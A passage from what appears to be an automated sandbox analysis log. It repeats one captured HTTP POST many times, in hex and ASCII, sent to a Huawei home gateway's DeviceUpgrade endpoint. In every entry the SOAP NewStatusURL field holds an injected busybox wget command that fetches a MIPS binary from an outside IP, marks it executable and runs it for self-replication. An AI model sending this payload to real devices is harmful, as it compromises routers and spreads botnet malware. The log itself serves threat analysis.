6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 